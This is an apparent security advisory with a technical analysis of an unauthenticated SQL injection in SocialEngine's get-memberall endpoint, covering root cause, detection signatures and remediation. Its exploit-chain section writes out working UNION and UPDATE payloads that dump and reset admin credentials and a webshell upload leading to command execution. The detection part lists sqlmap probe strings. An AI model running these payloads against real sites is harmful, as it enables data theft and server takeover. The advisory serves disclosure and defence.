CVE-2026-41460: SocialEngine get-memberall SQLi to RCE
Unauthenticated SQL injection in SocialEngine ≤7.8.0 via the `text` parameter of `/activity/index/get-memberall` enables full database read, admin password reset, and RCE via Packages Manager.
SocialEngine is a platform that helps people build social networks and online communities — think of it like the software that powers a Facebook-like website. This vulnerability is a serious flaw in how the software handles user requests.
Here's what's happening: When someone visits certain pages on a SocialEngine site, the software accepts information from the web address without properly checking it first. An attacker can slip malicious code into these requests, and the software will execute it without realizing what's happening. Think of it like a bank teller who accepts checks without verifying the signature — a fraudster can pretend to be someone else and drain the account.
The really scary part is that attackers don't need to be logged in to exploit this. They can do it from outside the system entirely. Once they're in, they could steal private information from thousands of users, change administrator passwords to lock out the real owners, and potentially take complete control of the website.
Who's at risk? Anyone running a SocialEngine-powered community site, which means their users' data is vulnerable too. If you run a niche social network, professional community, or hobby forum built on this platform, this should concern you immediately.
What should you do? First, if you operate a SocialEngine site, update to the latest version as soon as it's available — developers typically release patches quickly for critical flaws like this. Second, check with your hosting provider or IT team to confirm your site's software version. Third, if you're just a regular user of a site running SocialEngine, keep an eye out for any announcements from site administrators about security updates, and consider changing your password if you haven't done so recently.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41460 is a critical (CVSS 9.8) unauthenticated SQL injection vulnerability in SocialEngine versions 7.8.0 and prior, discovered by Egidio Romano of Karma(In)Security. The vulnerable endpoint, /activity/index/get-memberall, accepts a text parameter that is directly interpolated into a SQL query without sanitization or parameterization. No authentication is required to reach the endpoint. Full exploitation yields arbitrary database reads, admin credential reset, and — via the admin Packages Manager — remote code execution on the underlying server.
As of public disclosure on 2026-04-23, no official patch exists. The vendor's demo server was silently fixed, but no patched release has been published.
Root cause: User-supplied text parameter is concatenated directly into a SQL LIKE query inside the get-memberall action without escaping, parameterized binding, or any input validation.
Affected Component
The vulnerable endpoint maps to the Activity module's index controller. In SocialEngine's Zend Framework–based MVC layout, this resolves to:
application/modules/Activity/controllers/IndexController.php
-> Action: getMemberallAction()
-> Endpoint: GET/POST /activity/index/get-memberall?text=<PAYLOAD>
-> Auth required: No (public endpoint, used by member search autocomplete)
-> Backend DB: MySQL (PDO or legacy Zend_Db adapter, unparameterized path)
The endpoint is designed to return a JSON list of members matching a search prefix — a classic autocomplete pattern that feeds the activity feed's @mention feature. Because it targets a front-facing, publicly accessible controller action, there is zero authentication barrier.
Root Cause Analysis
The following pseudocode reconstructs the vulnerable controller action based on SocialEngine's standard Zend Framework controller pattern and the observed injection behavior:
// File: application/modules/Activity/controllers/IndexController.php
// Action: getMemberallAction()
// BUG: $text is pulled directly from request params with no sanitization
public function getMemberallAction() {
// Attacker-controlled input — no escaping, no binding
$text = $this->_getParam('text', ''); // BUG: raw user input
$db = Engine_Db_Table::getDefaultAdapter();
// BUG: string concatenation into raw SQL — classic injection vector
$select = $db->select()
->from('engine4_users', array('user_id', 'displayname', 'photo_id'))
->where("displayname LIKE '%" . $text . "%'") // BUG: unsanitized $text
->limit(10);
$result = $db->fetchAll($select);
// Response serialized directly to JSON
$this->_helper->json($result);
}
The where() call uses raw string concatenation rather than a parameterized placeholder (e.g., ->where("displayname LIKE ?", '%' . $text . '%')). Zend_Db's where() method does support automatic quoting when a second argument is passed, but here the entire string — including the user value — is passed as a single unquoted literal. This is a textbook first-order in-band SQL injection.
The injection context is inside a single-quoted string within a LIKE clause:
SELECT user_id, displayname, photo_id
FROM engine4_users
WHERE displayname LIKE '%[TEXT]%'
LIMIT 10
-- Injected payload (example):
TEXT = %' UNION SELECT 1,user_id,email FROM engine4_users-- -
-- Resulting query:
SELECT user_id, displayname, photo_id
FROM engine4_users
WHERE displayname LIKE '%%' UNION SELECT 1,user_id,email FROM engine4_users-- -%'
LIMIT 10
Exploitation Mechanics
Because the response is reflected directly in the JSON body, this is a straightforward in-band UNION-based injection. The column count is fixed at 3 (user_id, displayname, photo_id), making UNION construction trivial.
EXPLOIT CHAIN:
1. RECON — Confirm injection and column count:
GET /activity/index/get-memberall?text=%25'%20ORDER%20BY%203--%20-
-> No error = 3 columns confirmed
2. UNION DUMP — Extract admin credentials from engine4_users:
text=%25' UNION SELECT user_id,email,password FROM engine4_users
WHERE is_super_admin=1-- -
-> JSON response leaks admin email + hashed password
3. PASSWORD RESET — If hash is bcrypt and not crackable, use SQLi
to write a known hash directly (requires FILE/UPDATE privilege):
text=%25' UNION SELECT 1,(SELECT password FROM engine4_users
WHERE is_super_admin=1),3-- -
-> Retrieve current hash, then:
text=%25'; UPDATE engine4_users SET password='[known_hash]'
WHERE is_super_admin=1-- -
-> Admin account now has attacker-controlled password
4. ADMIN LOGIN — Authenticate to /admin with reset credentials.
Navigate to Admin Panel -> Packages Manager.
5. RCE VIA PACKAGES MANAGER — Upload a malicious .tgz package
containing a PHP webshell inside the expected module directory
structure. SocialEngine's Packages Manager extracts and installs
the archive server-side without adequate validation.
6. WEBSHELL EXECUTION:
GET /application/modules/Malicious/webshell.php?cmd=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
Step 3 requires UPDATE privilege for the DB user, which is common in shared-hosting SocialEngine deployments where a single DB user owns the entire schema. Even without it, the hash dump in step 2 is frequently sufficient — SocialEngine historically used MD5 for legacy installs.
The Karma(In)Security PoC (CVE-2026-41460.php) automates steps 1–2 and demonstrates the UNION read path.
Memory Layout
This is a SQL injection vulnerability, not a memory corruption bug, so a heap layout diagram is not applicable. Instead, the relevant "state" is the query parse tree before and after injection:
QUERY STATE — BENIGN REQUEST:
text = "alice"
┌─────────────────────────────────────────────────────────┐
│ SELECT user_id, displayname, photo_id │
│ FROM engine4_users │
│ WHERE displayname LIKE '%alice%' │
│ LIMIT 10 │
└─────────────────────────────────────────────────────────┘
Result: rows where displayname matches 'alice' — safe.
QUERY STATE — INJECTED REQUEST:
text = "%' UNION SELECT user_id,email,password FROM engine4_users WHERE is_super_admin=1-- -"
┌─────────────────────────────────────────────────────────┐
│ SELECT user_id, displayname, photo_id │
│ FROM engine4_users │
│ WHERE displayname LIKE '%%' │ <- original clause terminates early
│ UNION │ <- attacker-appended
│ SELECT user_id, email, password │ <- maps to displayname, photo_id cols
│ FROM engine4_users │
│ WHERE is_super_admin=1-- -%' │ <- original close-quote commented out
└─────────────────────────────────────────────────────────┘
Result: admin user_id, email, password hash leaked in JSON.
JSON RESPONSE (redacted):
[{"user_id":"1","displayname":"admin@target.com","photo_id":"$2y$10$..."}]
^^ email leaked ^^ bcrypt hash leaked
Patch Analysis
No official patch has been released as of disclosure. The vendor silently fixed the demo server. The correct fix requires switching from string concatenation to parameterized query binding. The Zend_Db API supports this natively via the second argument to where():
The one-argument form of where() in Zend_Db performs no escaping. The two-argument form invokes quoteInto(), which calls PDO::quote() or the equivalent adapter method. The difference is a single additional argument — a trivial fix that was not made across at least two release cycles (7.7.0 → 7.8.0).
A defense-in-depth fix should also add an input length cap and authentication middleware on the endpoint if member enumeration is not intended to be public:
// DEFENSE IN DEPTH additions:
$text = substr(trim($this->_getParam('text', '')), 0, 64); // cap length
if (strlen($text) < 2) { // min length gate
return $this->_helper->json(array());
}
// Require session auth if member list should not be public:
if (!$viewer || !$viewer->getIdentity()) {
return $this->_helper->json(array('error' => 'unauthorized'));
}
Detection and Indicators
The injection is trivially detectable in access logs. Look for the following patterns in HTTP logs against the /activity/index/get-memberall path:
DETECTION SIGNATURES:
-- Web server access log patterns (regex):
/activity/index/get-memberall.*text=.*(%27|'|UNION|SELECT|FROM|WHERE|--|%2D%2D)
-- Specific sqlmap fingerprints (default tamper):
text=%25%27%20AND%20SLEEP(5)--%20- <- time-based blind probe
text=%25%27%20ORDER%20BY%20[0-9]+--%20- <- column count enumeration
text=%25%27%20UNION%20SELECT%20NULL--%20- <- UNION null probe
-- Suricata/Snort content match:
content:"/activity/index/get-memberall"; content:"UNION"; nocase;
content:"/activity/index/get-memberall"; content:"SELECT"; nocase;
-- MySQL general query log indicators:
Query: SELECT * FROM engine4_users WHERE displayname LIKE '%' UNION SELECT%
-> Any UNION appearing inside a LIKE clause on this table is anomalous.
-- Application-level: unexpected JSON responses containing email addresses
or bcrypt hashes ($2y$) in the displayname/photo_id fields.
Remediation
Immediate mitigations (no patch available):
Deploy a WAF rule blocking UNION, SELECT, --, and single-quote sequences in the text parameter on the /activity/index/get-memberall path. This is a temporary control — WAF bypass is trivial for a determined attacker.
If the endpoint is not required for public (unauthenticated) users, add an .htaccess or nginx location block requiring a valid session cookie before the request reaches PHP.
Rotate all admin passwords and audit engine4_users for unexpected is_super_admin=1 rows immediately if the endpoint has been exposed to the internet.
Review Packages Manager installation logs for unexpected module installs.
Long-term (vendor action required):
Vendor must issue a patched release applying parameterized queries across all user-facing controller actions. The fix is a one-line change per affected query.
A full audit of all IndexController and module action endpoints is warranted — the same concatenation pattern may exist elsewhere in the codebase.
Enable PHP's PDO emulated prepares off (PDO::ATTR_EMULATE_PREPARES => false) at the DB adapter level as a systemic control.
Given that the vendor shipped version 7.8.0 after being notified of this vulnerability without fixing it, and that no patch exists 80+ days post-notification, operators should treat this as an actively dangerous unpatched condition and consider taking the affected installation offline until a fix is available.